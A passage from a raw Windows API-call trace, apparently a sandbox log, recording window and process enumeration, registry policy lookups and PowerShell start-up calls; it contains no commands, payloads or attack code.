out: lpdwProcessId=0x5bfdabd6b0) returned 0x380 [0177.215] GetWindowThreadProcessId (in: hWnd=0x2007e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x474 [0177.215] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7c4 [0177.215] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xa98 [0177.215] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.215] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x720 [0177.215] GetWindowThreadProcessId (in: hWnd=0x20370, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x13c4 [0177.215] GetWindowThreadProcessId (in: hWnd=0x102f8, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf44 [0177.216] GetWindowThreadProcessId (in: hWnd=0x102f6, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xafc [0177.216] GetWindowThreadProcessId (in: hWnd=0x102f0, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xeb8 [0177.216] GetWindowThreadProcessId (in: hWnd=0x102ea, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xbfc [0177.216] GetWindowThreadProcessId (in: hWnd=0x202e6, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x3e8 [0177.216] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x5c4 [0177.216] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x574 [0177.216] GetWindowThreadProcessId (in: hWnd=0x202da, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xa6c [0177.217] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x77c [0177.217] GetWindowThreadProcessId (in: hWnd=0x102d2, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x760 [0177.217] GetWindowThreadProcessId (in: hWnd=0x202ce, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf78 [0177.217] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc50 [0177.217] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xfcc [0177.217] GetWindowThreadProcessId (in: hWnd=0x202c2, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf94 [0177.217] GetWindowThreadProcessId (in: hWnd=0x202be, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xef4 [0177.218] GetWindowThreadProcessId (in: hWnd=0x202ba, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf74 [0177.218] GetWindowThreadProcessId (in: hWnd=0x202b6, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xedc [0177.218] GetWindowThreadProcessId (in: hWnd=0x202b2, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf24 [0177.220] GetWindowThreadProcessId (in: hWnd=0x102ae, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xdc8 [0177.220] GetWindowThreadProcessId (in: hWnd=0x202aa, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf10 [0177.220] GetWindowThreadProcessId (in: hWnd=0x102a6, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xf08 [0177.220] GetWindowThreadProcessId (in: hWnd=0x102a4, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xea0 [0177.220] GetWindowThreadProcessId (in: hWnd=0x102a0, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xeb4 [0177.220] GetWindowThreadProcessId (in: hWnd=0x2029a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xea4 [0177.221] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x1a8 [0177.221] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x8f0 [0177.221] GetWindowThreadProcessId (in: hWnd=0x2028e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xcb8 [0177.221] GetWindowThreadProcessId (in: hWnd=0x2028a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x840 [0177.221] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7c8 [0177.221] GetWindowThreadProcessId (in: hWnd=0x20282, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x6b0 [0177.221] GetWindowThreadProcessId (in: hWnd=0x50270, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xe0c [0177.221] GetWindowThreadProcessId (in: hWnd=0x1027e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x43c [0177.222] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x314 [0177.222] GetWindowThreadProcessId (in: hWnd=0x10272, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x24c [0177.222] GetWindowThreadProcessId (in: hWnd=0x2026e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x1a0 [0177.222] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xe24 [0177.222] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc9c [0177.222] GetWindowThreadProcessId (in: hWnd=0x2025c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x620 [0177.222] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7b8 [0177.222] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xa28 [0177.223] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x774 [0177.223] GetWindowThreadProcessId (in: hWnd=0x20244, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xbe0 [0177.223] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xb00 [0177.223] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xde4 [0177.223] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xce0 [0177.223] GetWindowThreadProcessId (in: hWnd=0x401f4, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xbd8 [0177.223] GetWindowThreadProcessId (in: hWnd=0x401f0, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x29c [0177.223] GetWindowThreadProcessId (in: hWnd=0x20080, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xda0 [0177.224] GetWindowThreadProcessId (in: hWnd=0x20082, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd20 [0177.224] GetWindowThreadProcessId (in: hWnd=0x20078, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd98 [0177.224] GetWindowThreadProcessId (in: hWnd=0x2005c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd88 [0177.224] GetWindowThreadProcessId (in: hWnd=0x4007c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd84 [0177.224] GetWindowThreadProcessId (in: hWnd=0x3006a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd6c [0177.224] GetWindowThreadProcessId (in: hWnd=0x30070, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd1c [0177.224] GetWindowThreadProcessId (in: hWnd=0x20062, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x764 [0177.224] GetWindowThreadProcessId (in: hWnd=0x30052, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd4c [0177.225] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xd38 [0177.225] GetWindowThreadProcessId (in: hWnd=0x60034, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x35c [0177.225] GetWindowThreadProcessId (in: hWnd=0x70032, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x52c [0177.225] GetWindowThreadProcessId (in: hWnd=0x60068, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x360 [0177.225] GetWindowThreadProcessId (in: hWnd=0x20172, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x4e4 [0177.225] GetWindowThreadProcessId (in: hWnd=0x2015e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xb04 [0177.225] GetWindowThreadProcessId (in: hWnd=0x201f8, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xffc [0177.226] GetWindowThreadProcessId (in: hWnd=0x200f0, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xfe8 [0177.226] GetWindowThreadProcessId (in: hWnd=0x200ee, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xfd4 [0177.226] GetWindowThreadProcessId (in: hWnd=0x2008e, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xfc0 [0177.226] GetWindowThreadProcessId (in: hWnd=0x20174, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xfa4 [0177.226] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc7c [0177.226] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc80 [0177.226] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0xc34 [0177.226] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x824 [0177.227] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7c4 [0177.227] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x654 [0177.227] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x640 [0177.227] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x5bfdabd6b0 | out: lpdwProcessId=0x5bfdabd6b0) returned 0x7c4 [0177.237] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1ef10011968, Length=0x20000, ResultLength=0x5bfdabd8f0 | out: SystemInformation=0x1ef10011968, ResultLength=0x5bfdabd8f0*=0x23e98) returned 0xc0000004 [0177.241] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1ef100319a0, Length=0x26698, ResultLength=0x5bfdabd8f0 | out: SystemInformation=0x1ef100319a0, ResultLength=0x5bfdabd8f0*=0x23e98) returned 0x0 [0177.662] WerSetFlags () returned 0x0 [0177.665] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0177.758] CoTaskMemFree (pv=0x0) [0177.758] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x5bfdabd968, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x5bfdabd960 | out: pulNumLanguages=0x5bfdabd968, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x5bfdabd960) returned 1 [0177.758] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x5bfdabd968, pwszLanguagesBuffer=0x1ef00050b10, pcchLanguagesBuffer=0x5bfdabd960 | out: pulNumLanguages=0x5bfdabd968, pwszLanguagesBuffer=0x1ef00050b10, pcchLanguagesBuffer=0x5bfdabd960) returned 1 [0177.766] GetUserDefaultLocaleName (in: lpLocaleName=0x5bfdabd880, cchLocaleName=16 | out: lpLocaleName="ja-JP") returned 6 [0177.790] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfdabc7b0, nSize=0x80 | out: lpBuffer="킀渴ǯ") returned 0x0 [0177.792] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfdabc7b0, nSize=0x80 | out: lpBuffer="䞃駴雇") returned 0x0 [0178.086] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x5bfdabbf80, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0178.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabc450) returned 1 [0178.086] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x5bfdabc530 | out: lpFileInformation=0x5bfdabc530*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0178.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabc410) returned 1 [0180.255] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0xb8abd12d, Data2=0x843d, Data3=0x4fdb, Data4=([0]=0x91, [1]=0x86, [2]=0x80, [3]=0x69, [4]=0x37, [5]=0xe0, [6]=0xc8, [7]=0xdc))) returned 0x0 [0180.392] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0x35a16d60, Data2=0xafea, Data3=0x4848, Data4=([0]=0xa3, [1]=0xfc, [2]=0xcb, [3]=0xb6, [4]=0x8d, [5]=0x3a, [6]=0xf6, [7]=0x93))) returned 0x0 [0180.392] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0x36e61f9, Data2=0x4d51, Data3=0x4ca0, Data4=([0]=0x95, [1]=0x4f, [2]=0xfc, [3]=0xfa, [4]=0x34, [5]=0x88, [6]=0x67, [7]=0x64))) returned 0x0 [0180.392] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0xf000b91, Data2=0x442e, Data3=0x4ced, Data4=([0]=0x92, [1]=0x95, [2]=0xd9, [3]=0x92, [4]=0x8, [5]=0x29, [6]=0x2a, [7]=0x80))) returned 0x0 [0180.392] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0xc9cf227, Data2=0xfb99, Data3=0x4b67, Data4=([0]=0xbd, [1]=0x4c, [2]=0xfc, [3]=0xec, [4]=0x77, [5]=0x68, [6]=0xba, [7]=0xb7))) returned 0x0 [0180.392] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0xc8b04b9d, Data2=0x6110, Data3=0x4317, Data4=([0]=0x8d, [1]=0x57, [2]=0x57, [3]=0x24, [4]=0x8a, [5]=0xa0, [6]=0x17, [7]=0x4c))) returned 0x0 [0180.392] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0xa5c31d42, Data2=0x67bc, Data3=0x4b2b, Data4=([0]=0x93, [1]=0x66, [2]=0xb6, [3]=0xdf, [4]=0x42, [5]=0x1c, [6]=0xf6, [7]=0x41))) returned 0x0 [0180.392] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0x8152b791, Data2=0x3856, Data3=0x4f5c, Data4=([0]=0xbb, [1]=0x28, [2]=0x0, [3]=0xc7, [4]=0x38, [5]=0x8e, [6]=0x43, [7]=0x8b))) returned 0x0 [0180.392] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0xc2dffcad, Data2=0x57d4, Data3=0x4497, Data4=([0]=0xa3, [1]=0x52, [2]=0x0, [3]=0x60, [4]=0xb7, [5]=0x87, [6]=0xaa, [7]=0x34))) returned 0x0 [0180.392] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0xee0b6fdf, Data2=0x294e, Data3=0x4947, Data4=([0]=0x91, [1]=0x60, [2]=0xcb, [3]=0x93, [4]=0x52, [5]=0x73, [6]=0xee, [7]=0x32))) returned 0x0 [0180.393] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0xd0e062a, Data2=0x558d, Data3=0x4b2f, Data4=([0]=0x9a, [1]=0xab, [2]=0x60, [3]=0xbb, [4]=0x2b, [5]=0xb9, [6]=0xb1, [7]=0x56))) returned 0x0 [0180.393] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0xef27456b, Data2=0x975, Data3=0x4450, Data4=([0]=0xbb, [1]=0xfa, [2]=0xfa, [3]=0x0, [4]=0x5b, [5]=0xe3, [6]=0x4b, [7]=0xec))) returned 0x0 [0180.393] CoCreateGuid (in: pguid=0x5bfdabc8b8 | out: pguid=0x5bfdabc8b8*(Data1=0xce50f947, Data2=0x7f00, Data3=0x4e84, Data4=([0]=0x83, [1]=0xc6, [2]=0xeb, [3]=0xd3, [4]=0xc2, [5]=0x3d, [6]=0x34, [7]=0xa3))) returned 0x0 [0180.393] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfdabc450, nSize=0xfa | out: lpBuffer="\x01") returned 0x0 [0180.576] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd748 | out: phkResult=0x5bfdabd748*=0x5d4) returned 0x0 [0180.576] RegQueryValueExW (in: hKey=0x5d4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabd798, lpData=0x0, lpcbData=0x5bfdabd790*=0x0 | out: lpType=0x5bfdabd798*=0x1, lpData=0x0, lpcbData=0x5bfdabd790*=0x56) returned 0x0 [0180.576] RegQueryValueExW (in: hKey=0x5d4, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabd798, lpData=0x1ef00073d60, lpcbData=0x5bfdabd790*=0x56 | out: lpType=0x5bfdabd798*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfdabd790*=0x56) returned 0x0 [0180.576] RegCloseKey (hKey=0x5d4) returned 0x0 [0180.619] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfdabc500, nSize=0xfa | out: lpBuffer="耀") returned 0x0 [0180.627] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd6c8 | out: phkResult=0x5bfdabd6c8*=0x0) returned 0x2 [0180.628] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd6c8 | out: phkResult=0x5bfdabd6c8*=0x0) returned 0x2 [0180.830] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0180.830] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0180.840] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd748 | out: phkResult=0x5bfdabd748*=0x5dc) returned 0x0 [0180.840] RegQueryValueExW (in: hKey=0x5dc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabd798, lpData=0x0, lpcbData=0x5bfdabd790*=0x0 | out: lpType=0x5bfdabd798*=0x1, lpData=0x0, lpcbData=0x5bfdabd790*=0x56) returned 0x0 [0180.840] RegQueryValueExW (in: hKey=0x5dc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfdabd798, lpData=0x1ef0007d490, lpcbData=0x5bfdabd790*=0x56 | out: lpType=0x5bfdabd798*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfdabd790*=0x56) returned 0x0 [0180.840] RegCloseKey (hKey=0x5dc) returned 0x0 [0181.242] CoTaskMemAlloc (cb=0x20c) returned 0x1ef703eff10 [0181.242] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x1ef703eff10 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x0 [0181.243] CoTaskMemFree (pv=0x1ef703eff10) [0181.243] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1e [0181.243] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x1e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0181.244] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0181.244] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", nBufferLength=0x3b, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell", lpFilePart=0x0) returned 0x3a [0181.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfdabd870) returned 1 [0181.244] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell"), fInfoLevelId=0x0, lpFileInformation=0x5bfdabd950 | out: lpFileInformation=0x5bfdabd950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3ec8443, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xdc924418, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0181.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfdabd830) returned 1 [0181.250] CoCreateGuid (in: pguid=0x5bfdabd928 | out: pguid=0x5bfdabd928*(Data1=0x39c9b017, Data2=0x778e, Data3=0x453a, Data4=([0]=0xab, [1]=0xbd, [2]=0x5c, [3]=0xf8, [4]=0x79, [5]=0x67, [6]=0x46, [7]=0xb6))) returned 0x0 [0181.347] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd6d8 | out: phkResult=0x5bfdabd6d8*=0x0) returned 0x2 [0181.348] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd6d8 | out: phkResult=0x5bfdabd6d8*=0x0) returned 0x2 [0181.361] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfdabc4c0, nSize=0xfa | out: lpBuffer="") returned 0x0 [0181.366] CreateFileW (lpFileName="CONOUT$" (normalized: "\\device\\condrv\\currentout"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5a8 [0181.457] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5a8, lpConsoleScreenBufferInfo=0x5bfdabd838 | out: lpConsoleScreenBufferInfo=0x5bfdabd838) returned 1 [0181.548] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5a8, lpConsoleScreenBufferInfo=0x5bfdabd838 | out: lpConsoleScreenBufferInfo=0x5bfdabd838) returned 1 [0181.648] GetConsoleMode (in: hConsoleHandle=0x5a8, lpMode=0x5bfdabd900 | out: lpMode=0x5bfdabd900) returned 1 [0181.739] SetConsoleMode (hConsoleHandle=0x5a8, dwMode=0x7) returned 1 [0181.740] GetConsoleMode (in: hConsoleHandle=0x5a8, lpMode=0x5bfdabd900 | out: lpMode=0x5bfdabd900) returned 1 [0181.762] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ConsoleSessionConfiguration", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfdabd7f8 | out: phkResult=0x5bfdabd7f8*=0x0) returned 0x2 [0181.762] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ConsoleSessionConfiguration", ulOptions=0x0, 